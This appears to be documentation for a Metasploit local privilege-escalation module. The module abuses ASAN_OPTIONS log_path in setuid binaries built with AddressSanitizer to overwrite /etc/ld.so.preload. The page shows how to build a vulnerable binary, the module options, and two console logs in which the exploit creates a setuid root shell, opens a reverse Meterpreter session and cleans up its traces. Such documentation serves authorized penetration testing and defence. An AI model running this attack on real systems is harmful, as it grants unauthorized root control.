167 lines
5.6 KiB
Markdown
167 lines
5.6 KiB
Markdown
|
|
## Description
|
||
|
|
|
||
|
|
This module attempts to gain root privileges on Linux systems using
|
||
|
|
setuid executables compiled with AddressSanitizer (ASan).
|
||
|
|
|
||
|
|
ASan configuration related environment variables are permitted when
|
||
|
|
executing setuid executables built with libasan. The `log_path` option
|
||
|
|
can be set using the `ASAN_OPTIONS` environment variable, allowing
|
||
|
|
clobbering of arbitrary files, with the privileges of the setuid user.
|
||
|
|
|
||
|
|
This module uploads a shared object and sprays symlinks to overwrite
|
||
|
|
`/etc/ld.so.preload` in order to create a setuid root shell.
|
||
|
|
|
||
|
|
|
||
|
|
## Vulnerable Application
|
||
|
|
|
||
|
|
[AddressSanitizer](https://clang.llvm.org/docs/AddressSanitizer.html) (ASan)
|
||
|
|
is a fast memory error detector. It consists of a compiler instrumentation
|
||
|
|
module and a run-time library.
|
||
|
|
|
||
|
|
An example executable can be compiled with ASan as follows:
|
||
|
|
|
||
|
|
```
|
||
|
|
gcc -s -lasan -fsanitize=address -o asan.elf helloworld.c
|
||
|
|
sudo mv asan.elf /usr/bin/asan.elf
|
||
|
|
sudo chown root:root /usr/bin/asan.elf
|
||
|
|
sudo chmod u+s /usr/bin/asan.elf
|
||
|
|
```
|
||
|
|
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
1. Start `msfconsole`
|
||
|
|
2. Get a session
|
||
|
|
3. `use use exploit/linux/local/asan_suid_executable_priv_esc`
|
||
|
|
4. `set SESSION [SESSION]`
|
||
|
|
5. `set SUID_EXECUTABLE /path/to/suid/compiled/with/asan`
|
||
|
|
6. `check`
|
||
|
|
7. `run`
|
||
|
|
8. You should get a new *root* session
|
||
|
|
|
||
|
|
|
||
|
|
## Options
|
||
|
|
|
||
|
|
**SESSION**
|
||
|
|
|
||
|
|
Which session to use, which can be viewed with `sessions`
|
||
|
|
|
||
|
|
**SUID_EXECUTABLE**
|
||
|
|
|
||
|
|
Path to a SUID executable compiled with ASan. (default: ``)
|
||
|
|
|
||
|
|
**SPRAY_SIZE**
|
||
|
|
|
||
|
|
Number of PID symlinks to create. (default: `50`)
|
||
|
|
|
||
|
|
**WritableDir**
|
||
|
|
|
||
|
|
A writable directory file system path. (default: `/tmp`)
|
||
|
|
|
||
|
|
|
||
|
|
## Scenarios
|
||
|
|
|
||
|
|
### Command Shell Session (Linux Mint 19)
|
||
|
|
|
||
|
|
```
|
||
|
|
msf5 > use exploit/linux/local/asan_suid_executable_priv_esc
|
||
|
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
|
||
|
|
suid_executable => /usr/bin/a.out
|
||
|
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
|
||
|
|
session => 1
|
||
|
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
|
||
|
|
verbose => true
|
||
|
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||
|
|
[+] /usr/bin/a.out is setuid
|
||
|
|
[+] /usr/bin/a.out was compiled with ASan
|
||
|
|
[+] gcc is installed
|
||
|
|
[*] Writing '/tmp/.pCriI' (291 bytes) ...
|
||
|
|
[*] Max line length is 65537
|
||
|
|
[*] Writing 291 bytes in 1 chunks of 937 bytes (octal-encoded), using printf
|
||
|
|
[*] Writing '/tmp/.JtSfQ1.c' (142 bytes) ...
|
||
|
|
[*] Max line length is 65537
|
||
|
|
[*] Writing 142 bytes in 1 chunks of 513 bytes (octal-encoded), using printf
|
||
|
|
[*] Writing '/tmp/.TCLmzU.so.c' (323 bytes) ...
|
||
|
|
[*] Max line length is 65537
|
||
|
|
[*] Writing 323 bytes in 1 chunks of 1167 bytes (octal-encoded), using printf
|
||
|
|
[*] Writing '/tmp/.V7OEFt.c' (253 bytes) ...
|
||
|
|
[*] Max line length is 65537
|
||
|
|
[*] Writing 253 bytes in 1 chunks of 906 bytes (octal-encoded), using printf
|
||
|
|
[*] Writing '/tmp/.LpfTKJwR' (256 bytes) ...
|
||
|
|
[*] Max line length is 65537
|
||
|
|
[*] Writing 256 bytes in 1 chunks of 942 bytes (octal-encoded), using printf
|
||
|
|
[*] Launching exploit...
|
||
|
|
[+] Success! /tmp/.JtSfQ1 is set-uid root!
|
||
|
|
-rwsr-xr-x 1 root root 8384 Jan 12 19:30 /tmp/.JtSfQ1
|
||
|
|
[*] Executing payload...
|
||
|
|
[*] Transmitting intermediate stager...(106 bytes)
|
||
|
|
[*] Sending stage (914728 bytes) to 172.16.191.211
|
||
|
|
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56074) at 2019-01-12 03:30:47 -0500
|
||
|
|
[+] Deleted /tmp/.JtSfQ1.c
|
||
|
|
[+] Deleted /tmp/.TCLmzU.so.c
|
||
|
|
[+] Deleted /tmp/.TCLmzU.so
|
||
|
|
[+] Deleted /tmp/.V7OEFt.c
|
||
|
|
[+] Deleted /tmp/.V7OEFt
|
||
|
|
[+] Deleted /tmp/.LpfTKJwR
|
||
|
|
|
||
|
|
meterpreter > getuid
|
||
|
|
Server username: uid=0, gid=0, euid=0, egid=0
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : 172.16.191.211
|
||
|
|
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
|
||
|
|
Architecture : x64
|
||
|
|
BuildTuple : i486-linux-musl
|
||
|
|
Meterpreter : x86/linux
|
||
|
|
meterpreter >
|
||
|
|
```
|
||
|
|
|
||
|
|
### Meterpreter Session (Linux Mint 19)
|
||
|
|
|
||
|
|
```
|
||
|
|
msf5 > use exploit/linux/local/asan_suid_executable_priv_esc
|
||
|
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set session 1
|
||
|
|
session => 1
|
||
|
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set suid_executable /usr/bin/a.out
|
||
|
|
suid_executable => /usr/bin/a.out
|
||
|
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > set verbose true
|
||
|
|
verbose => true
|
||
|
|
msf5 exploit(linux/local/asan_suid_executable_priv_esc) > run
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||
|
|
[+] /usr/bin/a.out is setuid
|
||
|
|
[+] /usr/bin/a.out was compiled with ASan
|
||
|
|
[+] gcc is installed
|
||
|
|
[*] Writing '/tmp/.XBKiFa' (291 bytes) ...
|
||
|
|
[*] Writing '/tmp/.ooMwKnEXt.c' (142 bytes) ...
|
||
|
|
[*] Writing '/tmp/.cWZL3A.so.c' (329 bytes) ...
|
||
|
|
[*] Writing '/tmp/.78iKLJOvX.c' (254 bytes) ...
|
||
|
|
[*] Writing '/tmp/.WkXgm2agJ8' (261 bytes) ...
|
||
|
|
[*] Launching exploit...
|
||
|
|
[+] Success! /tmp/.ooMwKnEXt is set-uid root!
|
||
|
|
-rwsr-xr-x 1 root root 8384 Jan 12 19:42 /tmp/.ooMwKnEXt
|
||
|
|
[*] Executing payload...
|
||
|
|
[*] Transmitting intermediate stager...(106 bytes)
|
||
|
|
[*] Sending stage (914728 bytes) to 172.16.191.211
|
||
|
|
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.211:56080) at 2019-01-12 03:42:43 -0500
|
||
|
|
[+] Deleted /tmp/.XBKiFa
|
||
|
|
[+] Deleted /tmp/.ooMwKnEXt.c
|
||
|
|
[+] Deleted /tmp/.cWZL3A.so.c
|
||
|
|
[+] Deleted /tmp/.cWZL3A.so
|
||
|
|
[+] Deleted /tmp/.78iKLJOvX.c
|
||
|
|
[+] Deleted /tmp/.78iKLJOvX
|
||
|
|
[+] Deleted /tmp/.WkXgm2agJ8
|
||
|
|
|
||
|
|
meterpreter > getuid
|
||
|
|
Server username: uid=0, gid=0, euid=0, egid=0
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : 172.16.191.211
|
||
|
|
OS : LinuxMint 19 (Linux 4.15.0-20-generic)
|
||
|
|
Architecture : x64
|
||
|
|
BuildTuple : i486-linux-musl
|
||
|
|
Meterpreter : x86/linux
|
||
|
|
meterpreter >
|
||
|
|
```
|
||
|
|
|